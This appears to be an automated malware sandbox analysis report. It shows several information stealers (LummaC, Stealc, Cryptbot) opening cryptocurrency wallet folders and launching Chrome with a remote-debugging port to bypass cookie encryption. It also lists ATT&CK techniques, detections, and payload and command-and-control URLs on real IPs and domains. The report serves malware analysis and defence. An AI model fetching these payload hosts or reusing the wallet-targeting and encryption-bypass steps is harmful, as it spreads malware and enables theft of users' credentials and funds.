Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU

Source: Yara match	File source: 0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2562004467.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2826165474.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: r5mqFEC.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a7f098a093.exe PID: 6104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3996dc7402.exe PID: 8144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e5e907fecb.exe PID: 5012, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 00000029.00000003.2996946073.000000000124F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2864753465.000000000150F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d986826e57.exe PID: 6612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d986826e57.exe PID: 4556, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000C.00000003.3257614525.00000000012E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a7f098a093.exe PID: 6104, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: r5mqFEC.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e5e907fecb.exe PID: 5012, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.3218633907.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2718635332.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3207489291.0000000000481000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2853261373.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3310520507.0000000000481000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3996dc7402.exe PID: 8144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3996dc7402.exe PID: 4936, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	5 Obfuscated Files or Information	Security Account Manager	246 System Information Discovery	SMB/Windows Admin Shares	2 Clipboard Data	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	212 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\r5mqFEC[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\r5mqFEC[1].exe	50%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	50%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\service123.exe	46%	ReversingLabs	Win32.Trojan.Loaderz

Source	Detection	Scanner	Label
https://property-imper.sbs/apia	0%	Avira URL Cloud	safe
https://property-imper.sbs:443/apit	0%	Avira URL Cloud	safe
https://property-imper.sbs/apim	0%	Avira URL Cloud	safe
https://push-hook.cyou/apif	0%	Avira URL Cloud	safe
https://property-imper.sbs/~	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dlly_	100%	Avira URL Cloud	malware
https://push-hook.cyou/	0%	Avira URL Cloud	safe
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17320193476963	100%	Avira URL Cloud	malware
https://property-imper.sbs/api1R	0%	Avira URL Cloud	safe
https://property-imper.sbs/x	0%	Avira URL Cloud	safe
https://property-imper.sbs/api~	0%	Avira URL Cloud	safe
http://crl.mH	0%	Avira URL Cloud	safe
https://property-imper.sbs/f	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php/7	100%	Avira URL Cloud	malware
CgPhome.fvtekk5pn.top	100%	Avira URL Cloud	malware
https://property-imper.sbs/N	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
property-imper.sbs	104.21.33.116	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
push-hook.cyou	104.21.10.6	true	true	unknown
fvtekk5pn.top	34.116.198.130	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
https://property-imper.sbs:443/api	false		high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false		high
https://property-imper.sbs/api	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.215.113.16/steam/random.exe	false		high
CgPhome.fvtekk5pn.top	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	unmYCIPOHmXNjqOesrEy.dll.12.dr	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	r5mqFEC.exe, 0000000A.00000003.2654045279.000000000329C000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666667555.000000000329F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api1R	e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000023.00000002.2934533740.0000027907886000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206Local	3996dc7402.exe, 0000000E.00000002.3207489291.0000000000504000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000554000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/breach-details/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://push-hook.cyou/apif	r5mqFEC.exe, 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
http://microsoft.co	r5mqFEC.exe, 0000000A.00000003.2654045279.000000000329C000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666667555.000000000329F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.accounts.firefox.com/v1	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dlly_	3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3497708315.000000000163A000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3496995219.000000000163A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	e5e907fecb.exe, 0000000F.00000003.3204335566.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	r5mqFEC.exe, 0000000A.00000003.2462681900.0000000005A52000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2829136213.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://property-imper.sbs/apia	e5e907fecb.exe, 0000000D.00000002.2681648947.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
